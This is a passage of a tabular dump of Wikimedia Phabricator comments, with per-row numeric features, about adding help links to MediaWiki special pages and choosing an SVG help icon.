* The same entries might be provided manually by external sites which happen to have their own guidance, but no wikibase and no update service.
I wonder whether the entire helppage link business should stay in core or should be turned into an extension.
* A (help/any) page mapping and linking mechanism might be used in many fields, not only with special pages.
* Various configurations done with system message today might migrate towards wikibase in the future.
* The MW TemplateData gadget e.g. could be equipped by URL rather than [[MediaWiki:templatedata-helplink-target]].
"
430583,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1139318, @matmarex wrote:
> Outstanding patches:
> * https://gerrit.wikimedia.org/r/#/c/194418/ ""[WIP] Add link to Meta-Wiki help pages from several special pages""

This is the one which needs most discussion/help. MediaWiki help pages can't lack coverage of RecentChanges and Watchlist... either they are rewritten on MediaWiki.org or we should change the rules to adopt/incorporate Meta-Wiki docs.",,,1427048506,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,6.0,14.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.4,0.86,"QUOTE
QUOTE
QUOTE

This is the one which needs most discussion/help. MediaWiki help pages can't lack coverage of RecentChanges and Watchlist... either they are rewritten on MediaWiki.org or we should change the rules to adopt/incorporate Meta-Wiki docs."
430579,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Outstanding patches:
* https://gerrit.wikimedia.org/r/#/c/194418/ ""[WIP] Add link to Meta-Wiki help pages from several special pages""
* https://gerrit.wikimedia.org/r/#/c/194414/ ""Add help link to three rather important pages""",,,1427047744,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,8.0,8.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5,0.6666666666666666,"Outstanding patches:
* URL ""[WIP] Add link to Meta-Wiki help pages from several special pages""
* URL ""Add help link to three rather important pages"""
430527,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1129825, @Spage wrote:
> FWIW the icon is reachable, https://bits.wikimedia.org/static-1.25wmf21/resources/lib/oojs-ui/themes/mediawiki/images/icons/help.svg, so `url(../../lib/oojs-ui/themes/mediawiki/images/icons/help.svg)` works. I guess there's no cleaner path to library resources.

True, but we were never doing that in the past (I think we even have duplicate copies of some files used in mediawiki/core, in different directories). We never had `url(…)` paths that refer to parent directory, and I think we should keep it this way, easier to figure out what depends on what.


>> as the work on making the icons available has stalled a bit.
> ?  They're all available if you use OOjs UI ([[ https://tools.wmflabs.org/oojs-ui/oojs-ui/demos/#icons-mediawiki-vector-ltr | cool demo ]]). If we're making them available to non-OOjs UI code I look forward to documenting how-to.

Yes. From T92551: ""Map to .mw-icon-<whatever> classes in addition to .oo-ui-icon-<whatever>"".

>>! In T45591#1134815, @Nemo_bis wrote:
> * Personally I prefer a more ""standard"" (i.e. common) blue, but it doesn't matter.
> * VE is not ""standard"", both are icons taken from extensions and [[https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/410|made by WMF]].

OOjs UI's icons are supposed to become ""MediaWiki UI"" icons, and thus be pronounced //the// standard ones. There are bumps along the way because the OOjs UI team (subset of WMF Editing) and the MediaWiki UI team (subset of WMF Design) have been disagreeing about which icons should be a part of this set, and how they should be drawn. You can see the current status at https://tools.wmflabs.org/oojs-ui/oojs-ui/demos/#icons-mediawiki-vector-ltr – this has both the old OOjs UI icons (known from VisualEditor) and the new MediaWiki UI icons (known from Flow), and it is quite obvious that these are separate sets. (The 'help' icons comes from the old set, since for some reason it was not considered for including in the new one.) The current status is that Trevor is ~~beating some sens~~working with the designers to iron it out.",,,1427025201,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,1.0,0.0,0.0,1.3333333333333333,0.3333333333333333,4.666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.0,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,2.0,0.6666666666666666,2.3333333333333335,11.333333333333334,0.0,1.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,5.0,3.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,13.333333333333334,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.0,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.0,0.3333333333333333,0.0,4.666666666666667,4.333333333333333,13.666666666666666,1.6666666666666667,2.6666666666666665,8.0,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,0.6666666666666666,0.0,4.0,11.333333333333334,9.666666666666666,0.0,2.0,0.0,4.0,0.0,1.6666666666666667,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,3.739828055839292,0.6714334354783792,"QUOTE
QUOTE

True, but we were never doing that in the past (I think we even have duplicate copies of some files used in mediawiki/core, in different directories). We never had CODE paths that refer to parent directory, and I think we should keep it this way, easier to figure out what depends on what.


QUOTE
QUOTE

Yes. From T92551: ""Map to .mw-icon-<whatever> classes in addition to .oo-ui-icon-<whatever>"".

QUOTE
QUOTE
QUOTE

OOjs UI's icons are supposed to become ""MediaWiki UI"" icons, and thus be pronounced //the// standard ones. There are bumps along the way because the OOjs UI team (subset of WMF Editing) and the MediaWiki UI team (subset of WMF Design) have been disagreeing about which icons should be a part of this set, and how they should be drawn. You can see the current status at URL – this has both the old OOjs UI icons (known from VisualEditor) and the new MediaWiki UI icons (known from Flow), and it is quite obvious that these are separate sets. (The 'help' icons comes from the old set, since for some reason it was not considered for including in the new one.) The current status is that Trevor is ~~beating some sens~~working with the designers to iron it out."
430390,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 197667 merged by jenkins-bot:
mediawiki.helplink: Use a SVG PNG icon

[[https://gerrit.wikimedia.org/r/197667]]",,,1426960241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.727272727272727,0.8636363636363636,"Change 197667 merged by jenkins-bot:
mediawiki.helplink: Use a SVG PNG icon

[[GERRIT_URL]]"
429670,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","One small question on https://gerrit.wikimedia.org/r/#/c/197667/2

FWIW, aside trivia:
* There's also a SVG version of the current help.png, but it's not a native one (014b5632fcc6a4200d519cf7f86e94c09639af8f).
* Personally I prefer a more ""standard"" (i.e. common) blue, but it doesn't matter.
* VE is not ""standard"", both are icons taken from extensions and [[https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/410|made by WMF]].",,,1426843326,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,4.0,5.0,6.0,0.0,5.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,5.0,3.5185185185185186,0.7037037037037037,"One small question on URL

FWIW, aside trivia:
* There's also a SVG version of the current help.png, but it's not a native one (014b5632fcc6a4200d519cf7f86e94c09639af8f).
* Personally I prefer a more ""standard"" (i.e. common) blue, but it doesn't matter.
* VE is not ""standard"", both are icons taken from extensions and [[URL by WMF]]."
429668,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","One small question on https://gerrit.wikimedia.org/r/#/c/197667/2

FWIW, aside trivia:
* There's also a SVG version of the current help.png, but it's not a native one.
* Personally I prefer a more ""standard"" (i.e. common) blue, but it doesn't matter.
* VE is not ""standard"", both are icons taken from extensions and [[https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/410|made by WMF]].",,,1426843280,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,4.0,5.0,6.0,0.0,5.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,5.0,3.1153846153846154,0.717948717948718,"One small question on URL

FWIW, aside trivia:
* There's also a SVG version of the current help.png, but it's not a native one.
* Personally I prefer a more ""standard"" (i.e. common) blue, but it doesn't matter.
* VE is not ""standard"", both are icons taken from extensions and [[URL by WMF]]."
428665,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1104151, @matmarex wrote:
> Indeed, it seems that a ""Help"" icon was not considered for the new icon set.
That's {T90414}

> VisualEditor / OOjs UI has a icon for this, though: {F72837,size=full,layout=inline}. If you need it now, the file will have to be just copied into mediawiki/core,

FWIW the icon is reachable, https://bits.wikimedia.org/static-1.25wmf21/resources/lib/oojs-ui/themes/mediawiki/images/icons/help.svg, so `url(../../lib/oojs-ui/themes/mediawiki/images/icons/help.svg)` works. I guess there's no cleaner path to library resources.

> as the work on making the icons available has stalled a bit.
?  They're all available if you use OOjs UI ([[ https://tools.wmflabs.org/oojs-ui/oojs-ui/demos/#icons-mediawiki-vector-ltr | cool demo ]]). If we're making them available to non-OOjs UI code I look forward to documenting how-to.",,,1426705079,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,89,,1.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,4.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,22.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,9.0,10.0,1.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,2.0,1.0,0.0,2.0,3.175,0.7125,"QUOTE
QUOTE
That's {T90414}

QUOTE

FWIW the icon is reachable, URL so CODE works. I guess there's no cleaner path to library resources.

QUOTE
?  They're all available if you use OOjs UI ([[ URL | cool demo ]]). If we're making them available to non-OOjs UI code I look forward to documenting how-to."
428563,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 197667 had a related patch set uploaded (by Bartosz Dziewoński):
mediawiki.helplink: Use standard SVG PNG icon

[[https://gerrit.wikimedia.org/r/197667]]
",,,1426699777,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.25,0.8928571428571429,"Change 197667 had a related patch set uploaded (by Bartosz Dziewoński):
mediawiki.helplink: Use standard SVG PNG icon

[[GERRIT_URL]]
"
428418,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194411 merged by jenkins-bot:
Add help link to three other ""minor"" special pages

[[https://gerrit.wikimedia.org/r/194411]]",,,1426689800,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5,0.8846153846153846,"Change 194411 merged by jenkins-bot:
Add help link to three other ""minor"" special pages

[[GERRIT_URL]]"
423856,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1103929, @matmarex wrote:
>>>! In T45591#1102455, @Krinkle wrote:
>> I imagine if this is not changed it will need to be reverted and further worked upon for the next deployment window.
> 
> That strikes me as somewhat of an overreaction.

It needs improvement before deployment. It wasn't my feature to implement and would not have been merged as-is in that case. As such, a revert is just returning status quo and enforcing quality criteria.",,,1425998891,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,2.0,4.0,2.0,4.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,8.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.9411764705882355,0.7647058823529411,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It needs improvement before deployment. It wasn't my feature to implement and would not have been merged as-is in that case. As such, a revert is just returning status quo and enforcing quality criteria."
423785,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Indeed, it seems that a ""Help"" icon was not considered for the new icon set.

VisualEditor / OOjs UI has a icon for this, though: {F72837,size=full,layout=inline}

https://tools.wmflabs.org/oojs-ui/oojs-ui/dist/themes/mediawiki/images/icons/help.svg
https://tools.wmflabs.org/oojs-ui/oojs-ui/dist/themes/mediawiki/images/icons/help.png

Presumably that could be used. If you need it now, the file will have to be just copied into mediawiki/core, as the work on making the icons available has stalled a bit. (It is MIT-licensed, like the rest of OOjs UI.)",,,1425991017,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,14.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,10.0,11.0,0.0,2.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.292929292929293,0.7070707070707071,"Indeed, it seems that a ""Help"" icon was not considered for the new icon set.

VisualEditor / OOjs UI has a icon for this, though: {F72837,size=full,layout=inline}

URL
URL

Presumably that could be used. If you need it now, the file will have to be just copied into mediawiki/core, as the work on making the icons available has stalled a bit. (It is MIT-licensed, like the rest of OOjs UI.)"
423783,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Are you talking about the blue ""?"" for 'help'?

For what is worth, WikiFont has an icon from @violetto called [[ https://commons.wikimedia.org/wiki/File:Sun_help.svg | Sun help ]]. I couldn't find any incon with ""?"" in the collection.

Needless to say, in Commons there are many SVGs of question mark signs in a blue circle, but... See https://commons.wikimedia.org/wiki/File:Blue_question_mark_icon.svg & friends.",,,1425990691,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,88,,3.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,1.0,0.0,1.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,14.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,12.0,4.0,4.0,8.0,0.0,3.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,3.263157894736842,0.75,"Are you talking about the blue ""?"" for 'help'?

For what is worth, WikiFont has an icon fromSCREEN_NAME called [[ URL | Sun help ]]. I couldn't find any incon with ""?"" in the collection.

Needless to say, in Commons there are many SVGs of question mark signs in a blue circle, but... See URL & friends."
423767,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I agree the icon needs to be improved. Do you have suggestions for a SVG-ready icon to use?

That's the icon closest to a ""standard"" that we currently have in the codebase for this purpose: it's used in a MediaWiki extension already, for several special pages. We must improve it before we extend its usage to more visible places, of course.",,,1425988211,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,1.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,15.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,15.0,3.0,1.0,3.0,0.0,11.0,0.0,1.0,4.0,0.0,0.0,1.0,1.0,0.0,3.76,0.7333333333333333,"I agree the icon needs to be improved. Do you have suggestions for a SVG-ready icon to use?

That's the icon closest to a ""standard"" that we currently have in the codebase for this purpose: it's used in a MediaWiki extension already, for several special pages. We must improve it before we extend its usage to more visible places, of course."
423718,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1102455, @Krinkle wrote:
> I imagine if this is not changed it will need to be reverted and further worked upon for the next deployment window.

That strikes me as somewhat of an overreaction. If the icon irks you, then it's a one-line change to remove it. It would be almost as easy to replace it with a different one, too.",,,1425983414,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,11.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,3.3617021276595747,0.7872340425531915,"QUOTE
QUOTE

That strikes me as somewhat of an overreaction. If the icon irks you, then it's a one-line change to remove it. It would be almost as easy to replace it with a different one, too."
423557,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1088866, @gerritbot wrote:
> Change 157497 merged by jenkins-bot:
> Add top help link to MediaWiki.org in several pages via indicator
> 
> [[https://gerrit.wikimedia.org/r/157497]]

This uses a non-standard icon that doesn't match the any skin and did not go through Design. It also does not have an SVG or High-resolution version available. Thus regressing from our state of having HiDPI-friendly pages by default.

The icon would be okay for a local gadget, but not MediaWiki core.

I don't know further context, but I imagine if this is not changed it will need to be reverted and further worked upon for the next deployment window.",,,1425947370,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,0.5,0.0,0.0,2.0,4.5,8.0,1.0,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,2.5,0.5,6.5,7.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,4.5,2.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,8.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.5,0.0,4.5,3.0,10.0,2.0,4.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.0,3.8041579315164222,0.7945492662473794,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This uses a non-standard icon that doesn't match the any skin and did not go through Design. It also does not have an SVG or High-resolution version available. Thus regressing from our state of having HiDPI-friendly pages by default.

The icon would be okay for a local gadget, but not MediaWiki core.

I don't know further context, but I imagine if this is not changed it will need to be reverted and further worked upon for the next deployment window."
422703,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 195045 merged by jenkins-bot:
Don't require JavaScript for addHelpLink styles

[[https://gerrit.wikimedia.org/r/195045]]",,,1425752905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.9090909090909091,"Change 195045 merged by jenkins-bot:
Don't require JavaScript for addHelpLink styles

[[GERRIT_URL]]"
422694,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 195045 had a related patch set uploaded (by Nemo bis):
Don't require JavaScript for addHelpLink styles

[[https://gerrit.wikimedia.org/r/195045]]
",,,1425749895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.9642857142857144,0.8928571428571429,"Change 195045 had a related patch set uploaded (by Nemo bis):
Don't require JavaScript for addHelpLink styles

[[GERRIT_URL]]
"
422382,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Switching order needs to be checked for each call in core.

